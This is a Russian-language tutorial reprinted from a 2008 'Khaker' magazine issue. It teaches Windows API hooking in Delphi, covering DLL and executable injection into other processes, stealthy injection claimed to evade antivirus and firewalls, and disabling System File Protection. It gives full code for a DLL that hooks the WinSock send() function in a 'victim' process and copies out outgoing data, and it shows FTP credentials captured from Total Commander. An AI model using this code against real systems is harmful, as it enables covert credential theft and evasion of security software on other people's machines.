  • Модификация кода системной функции. Для реализации этого способа необходимо «пропатчить» перехватываемую функцию, а именно записать в самом ее начале переход на подставную функцию. Тогда все обращения к оригиналу будут попадать на функцию-подставу. Тут важно не забыть сохранять значение перезаписываемого участка памяти, иначе можно попрощаться с корректной работой приложения жертвы.
  • У метода есть как плюсы, так и минусы. Из достоинств можно выделить возможность перехвата абсолютно любых функций, то есть не только тех, что определены в таблице импорта. Среди минусов – вероятность появления ошибок в многопоточных приложениях. Хотя при наличии головы на плечах это достаточно легко обходится. В качестве способа лечения подходит банальная остановка всех потоков приложения и их запуск после установки перехвата. Перехват API удобнее всего осуществлять в контексте процесса «жертвы», поэтому необходимо внедрить свой код в удаленный процесс. Существует несколько «устаканившихся» вариантов вторжения в чужие процессы:

  • Внедрение образа своего процесса. Позволяет целиком внедрить свое приложение в чужое адресное пространство. Удобство такого способа в том, что можно обойтись без всяких лишних dll, повысив скрытность. Даже если пользователь воспользуется утилитами вроде ProcessExplorer, то он не увидит ничего необычного.
  • Внедрение подготовленной Dll. Этот вариант можно назвать классическим. Для его реализации нужно создать DLL, в которой будет организован один из способов перехвата, и приложение, которое будет инжектировать ее в нужный процесс. Один из минусов я уже озвучил, поэтому перейду сразу к плюсам. Главный плюс состоит в возможности прописывания dll в реестре, после чего она будет автоматически загружаться. В результате исключается необходимость в написании программы для внедрения dll.
  • У многих может сложиться впечатление, что перехват – дело объемное и сложное. Действительно, реализовать метод внедрения и перехвата – задача далеко не самая простая, но Delphi программистам сильно повезло. С легкостью организовать перехват функций и внедриться в чужой процесс поможет модуль advHookApi, написанный гениальным программером Ms Rem. Модуль спроектирован качественно, все функции удобно описаны, код оформлен красиво. Единственное разочарование в том, что сегодня уже нельзя выразить респект автору. Этот человек мертв. Очень грустно, что гениальных людей так рано забирает смерть.

    Хакерский модуль

    Итак, давай посмотрим, какими возможностями может похвастаться данный модуль.

  • Внедрение кода в удаленный процесс. Выше я рассказывал о нескольких вариантах внедрения своего кода в адресное пространство чужого процесса. В advHookAPI реализованы следующие методы:
  • Внедрение Dll в чужой процесс. Метод реализуется с помощью функции InjectDll(), которая описана следующим образом:

    function InjectDll(Process: dword; ModulePath: PChar): boolean;

    В качестве параметров нужно передать дескриптор процесса, в который будем внедрять dll, и путь к самой библиотеке. В случае успешного внедрения результат будет true. Скрытое внедрение Dll. Функция InjectDllEx() внедряет dll и производит шаманские действия над образом Dll в памяти. После таких настроек многие программы (антивирусы, персональные firewall) начинают нервно курить и не замечать черных дел твоей программы. Внедрение произвольного Exe файла. Осуществляется при помощи функции InjectExe().

    function InjectExe(Process: dword; Data: pointer): boolean;

    Для работы функции требуется передать два параметра: Дескриптор (handle) процесса, в который будем внедряться и адрес образа файла в текущем процессе.

    Инъекция образа текущего процесса. Функция InjectThisExe() будет полезна, когда не хочется или нет возможности юзать библиотеки dll. Описание функции и параметров приводить не стану, так как они стандартные и ничем не отличаются от описания предыдущей.

  • Внедрение в процесс процедуры.
  • function InjectThread(Process: dword; Thread: pointer; Info: pointer;
    InfoLen: dword; Results: boolean): THandle;

    У функции пять входных параметров: 1. Process – дескриптор процесса. 2. Thread – указатель на процедуру, которую будем внедрять. 3. Info – адрес данных для процедуры. 4. InfoLen – размер передаваемых данных. 5. Results – необходимость возврата результата (если true, то функция вернет переданные данные).

  • Перехват Windows API. В модуле определено две функции для установки перехвата:
  • function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;

    Функция устанавливает перехват нужной функции. В качестве параметров просит: 1. TargetProc – адрес перехватываемой функции. 2. NewProc – адрес функции, которая будет вызываться вместо перехватываемой. 3. OldProc – переменная, в которой будет сохранен адрес моста к оригинальной функции (пригодится, когда потребуется остановить перехват и вернуть все на место). Для перехвата функций экспортируемых из DLL в текущем процессе предусмотрена отдельная функция:

    function HookProc(lpModuleName, lpProcName: PChar; NewProc: pointer; var OldProc: pointer): boolean;

    Входных параметров четыре: 1. Имя модуля (dll). 2. Имя функции; будь внимателен, регистр в указании имени функции играет роль. 3. Указатель на функцию-замену. 4. Адрес к оригинальной функции.

    Перехватывать функцию без передышки не имеет смысла, поэтому рано или поздно нужно останавливать процесс перехвата. Для этого в AdvApiHook реализована функция UnhookCode(), которая в качестве единственного параметра принимает указатель на адрес моста к оригинальной функции.

  • Полезные функции. Помимо необходимых функций для перехвата API или внедрения кода, в модуле есть несколько функций, которые обязательно могут пригодиться системным программистам.
  • Отключение защиты системных файлов. В ОС Windows, базирующихся на ядре NT, нельзя просто взять и изменить системные файлы – защита System File Protection трогать их не даст. Для решения этой задачи в модуле определена функция DisableSFC(). Передавать параметры ей не требуется. В качестве результата возвращает булевское значение.

    Завершение процесса через режим отладки. Наверняка, ты сталкивался с процессами, которые тяжело «убить». Стандартные функции вроде TerminateProceess() не помогают. Для устранения этой проблемы принято использовать так называемые отладочные функции. Сначала процесс переводится в отладочный режим, а потом уничтожается. Таким образом можно завершить практически любой «вредный» процесс. Автор AdvApiHook реализовал простую надстройку для завершения процесса через отладочный режим.

    function DebugKillProcess(ProcessId: dword):Boolean;

    В качестве единственного параметра функции нужно передать pid процесса. В случае успешного завершения процесса функция вернет true.

    Колбасим WinSock Hooker

    Довольно теории, пора переходить к практике. Сейчас я расскажу, как написать приложение для перехвата функции send(). Для начала создай в Delphi новый проект и нарисуй форму, хотя бы отдаленно похожую на мою. Как закончишь творческую часть, вставляй наш DVD диск, копируй с него модуль AdvApiHook и немедленно подключай к своему проекту.

    Первое, что нам необходимо сделать – научить программу получать список всех запущенных процессов и их дескрипторов. Все эти данные будут отображаться в компоненте ListView. Именно из этого списка мы будем выбирать процесс-жертву. Для получения списка текущих процессов существует несколько способов. Рассмотрим наиболее простой из них – использование модуля tlHelp32, входящего в стандартную поставку Delphi. Ради получения процессов я завел отдельную процедуру – GetAllProcess(). Ее код ты увидишь на врезке.

    Код процедуры GetAllProcess()

    var
    _SnapList : THandle;
    _ProcEntry : TProcessEntry32;
    begin
    If NOT (EnableDebugPrivilege()) Then
    begin
    reLog.SelAttributes.Color := clMaroon;
    reLog.Lines.Add('Не удалось получить привилегии отладчика!');
    End;
    lvProcessList.Items.Clear;
    _ProcEntry.dwSize := SizeOf(TProcessEntry32);
    _SnapList := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
    If (Process32First(_SnapList, _ProcEntry)) Then
    begin
    Repeat
    with lvProcessList.Items.Add Do
    begin
    Caption :=IntToStr(_ProcEntry.th32ProcessID);
    SubItems.Add(ExtractFileName(_ProcEntry.szExeFile));
    end;
    Until not (Process32Next(_SnapList, _ProcEntry));
    end;
    CloseHandle(_SnapList);
    End;

    В самом начале этой процедуры я вызываю функцию EnableDebugPrivilige(). Функция эта самописная и ее вид ты можешь посмотреть, открыв исходники с диска. Скажу лишь, что она требуется для получения отладочных привилегий. С этими привилегиями появляется возможность получать handle даже у системных процессов. Если функция вернула false, то я просто сообщаю об этом в лог и продолжаю выполнение процедуры. Получение списка процессов сводится к нескольким шагам. Первый этап знаменуется использованием API функции CreateToolHelp32SnapShot(). Она получает снимок объектов, определенных в первом параметре. Я указал константу TH32CS_SNAPPROCESS, которая подразумевает получение снимка одних лишь процессов, так как для сегодняшнего примера этого вполне достаточно. Помимо процессов ты можешь получить:

  • TH32CS_SNAPTHREAD – снимок потоков.
  • TH32CS_SNAPMODULE32 – список загруженных модулей.
  • TH32CS_SNAPALL – включает в снимок все процессы, модули, потоки.
  • Если функция CreateToolHelp32SnapShot() выполнилась успешно, значит, нужно пробежаться по списку полученных объектов и вывести их в ListView. Для «пробежки» я использую функции Process32First() и Process32Next(). Параметры у обеих функций одинаковые:

  • Снимок объектов, который был получен в результате CreateToolHelp32SnapShot().
  • Структура типа TProcessEntry32, в которую будет записана информация о каждом найденном объекте. После выполнения Process32First() в переменную, которую мы указывали во втором параметре, будет помещена информация о первом процессе из снимка. Для перехода к следующему процессу вызывается функция Process32Next().
  • Итак, список процессов у нас есть. Повесь вызов GetAllProcess() на событие OnCreate формы и запусти программу. Если ты не допустил в листинге ошибок, то после запуска ListView должен заполниться списком процессов.

    Делаем захват

    Теперь, когда у нас есть список процессов, можно приступать к реализации самой главной части – перехвату функций. Перехватывать функции удобнее всего из библиотеки dll. Принцип такой: внедряем библиотеку в чужой процесс, методом сплайсинга делаем перехват. Сейчас все кажется сложным и запутанным, но на самом деле все просто. Создавай в Delphi новый проект типа DLL и потихоньку перекатывай в него бездушные строчки кода из врезки «Код DLL».

    Код DLL

    library project1;
    uses
    Windows,
    advApiHook,
    Messages,
    SysUtils;
    type
    TSocket=integer;
    TSendProcedure=function (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
    var
    _pOldSend: TSendProcedure;
    _hinst, _h:integer;
    procedure SendData(data:string; funcType:integer; Buff:pointer; len:integer);
    var
    d:TCopyDataStruct;
    begin
    case funcType of
    10:
    begin
    d.lpData := Buff;
    d.cbData := len;
    d.dwData := 10;
    end;
    30:
    begin
    d.lpData := pchar(data);
    d.cbData := length(data);
    d.dwData := 30;
    end;
    end;
    SendMessage(_h, WM_COPYDATA, 0, LongInt(@d));
    End;
    function xSend(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
    begin
    SendData('', 10, addr(string(buf)), len);
    result:=_pOldSend(s,buf,len,flags);
    end;
    procedure DLLEntryPoint(dwReason: DWord);
    begin
    case dwReason of
    DLL_PROCESS_ATTACH:
    begin
    SendData('Библиотека загружена. Начинается подготовка к перехвату...', 30, nil, 0);
    _hinst:=GetModuleHandle(nil);
    StopThreads;
    HookProc('WS2_32.dll','send',@xSend,@_pOldSend);
    SendData('Подмена функций завершилась успехом!', 30, nil, 0);
    RunThreads;
    end;
    DLL_PROCESS_DETACH:
    begin
     SendData('Снимаем перехват...', 30, nil, 0);
     UnhookCode(@_pOldsend);
    end;
    end;
    end;
    begin
    _h:=findwindow(nil,'WinSock Sniffer');
    if (_h = 0) then
    begin
     MessageBox(0, 'Не найдено окно клиентской части программы!', 'Ошибка!', 0);
     ExitThread(0);
    end;
     DllProc := @DLLEntryPoint;
     DLLEntryPoint(DLL_PROCESS_ATTACH);
    end.

    Рассматривать приведенный код удобнее всего с процедуры DLLEntryPoint. Именно в ней происходит реакция на события, связанные с DLL (загрузка/выгрузка библиотеки). Во время загрузки библиотеки возникает событие DLL_PROCESS_ATTACH. Для нас это знак к установке перехвата. Перед тем, как установить перехват, я отправляю клиенту (основному приложению) информацию о текущей ситуации. В своем примере я передавал целые строки, но на практике лучше отправлять коды событий/ошибок, определить которые можно заранее. Процесс передачи инфы из DLL в основную программу осуществляется с помощью самописной функции SendData(). В теоретической части статьи я описывал минусы перехвата методом сплайсинга. Как ты помнишь, они заключались в потоках. Решение проблемы было также озвучено – это временная остановка всех потоков. Для остановки потоков чужого процесса в модуле AdvAPIHook есть функция StopThreads(). Параметров она не требует. Остановив потоки, можно устанавливать перехват. Для этого я использую функцию HookProc(). В качестве параметров я передаю ей:

    Имя библиотеки, в которой объявлена перехватываемая функция. Поскольку в примере меня интересовала лишь функция send(), то я указал W32_32.dll (именно в этой библиотеке определены все функции второй версии WinSock API).

    Название функции. В примере я указал «send». Это самая распространенная функция для отправки данных по сети, ее используют практически все приложения. Обрати внимание на регистр, используемый в написании имени функции. Имя функции полностью состоит из маленьких букв. Не обратишь на это внимание – попадешь на отладку таинственных ошибок «Access Violаtion».

    Указатель на функцию подставы. В качестве функции подставы в моей библиотеке определена функция xSend(). Указатель на переменную, для сохранения моста к оригинальной функции. Я указываю здесь _pOldSend. После выполнения HookProc() в текущем процессе вместо функции send() будет вызывать xsend(). Целью статьи было показать, как можно перехватывать данные, передаваемые каким-либо сетевым приложением, поэтому в подставной функции я просто передаю буфер с данными. Таким образом, мы получаем то, что требуется нам, а приложение-жертва, ни о чем не догадываясь, продолжает выполнять свою работу. Установив перехват, нужно запустить остановленные ранее потоки. Для восстановления работы потоков я использую функции RunThreads(), которой также не требуются параметры.

    Тестируем

    Можно считать, что простейший пример перехвата сетевых функций готов. Точнее, реализован процесс перехвата одной лишь функции – send(). Перехват остальных ты сможешь реализовать самостоятельно, тем более что принцип будет полностью таким же. Перед тем, как мы начнем тестировать, откомпилируй библиотеку и вернись к нашему основному проекту. Создай обработчик события OnClick() для кнопки, по нажатию которой мы будем внедрять библиотеку, и перепиши в него код из врезки «Обработчик OnClick()». Я не буду расписывать этот код целиком, так как в нем нет ничего сложного. Все, что в нем происходит – получение handle процесса по его pid и внедрение созданной нами библиотеки с помощью функции InjectDll(), описание которой я уже приводил.

    Обработчик OnClick()

    _h := OpenProcess(PROCESS_ALL_ACCESS, false, StrToInt(lvProcessList.Selected.Caption));
    _dllPath := ExtractFilePath(ParamStr(0))+'test.dll';
    InjectDll(_h, pchar(_dllPath));

    В качестве теста я решил перехватить данные, которые отправляет всем известный TotalCommander при соединении с FTP сервером. Внедрив нашу хакерскую библиотеку в процесс totalcmd.exe и запустив в Total Commander’е процесс соединения с ftp сервером, я наблюдал, как лог начал заполняться командами протокола FTP. Поскольку протокол FTP не является безопасным, то все важные данные, передаваемые серверу, были успешно перехвачены. Результат ты можешь увидеть на рисунке.

    Все готово

    В простейшем примере я показал перехват только функции send(). Тем не менее, сетевой набор WinSock API содержит и другие функции для отправки данных, а значит, у тебя есть полигон для новых испытаний. Не ленись ставить различные эксперименты, ведь только путем проб и ошибок можно решить любую задачу. Если у тебя возникли вопросы или предложения, то милости прошу, я всегда открыт для общения.

    Статья опубликована в журнале «Хакер» (http://xakep.ru). Май 2008 г.

    Ссылка на журнал: http://goo.gl/nTsCWW

    Понравилась статья? Поделить с друзьями:
    0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии
  • Windows server 2022 repack
  • Windows кто использует файл
  • Nero drive speed windows 7
  • Что за папка esd на диске c windows 10
  • Ошибка 4005 windows 10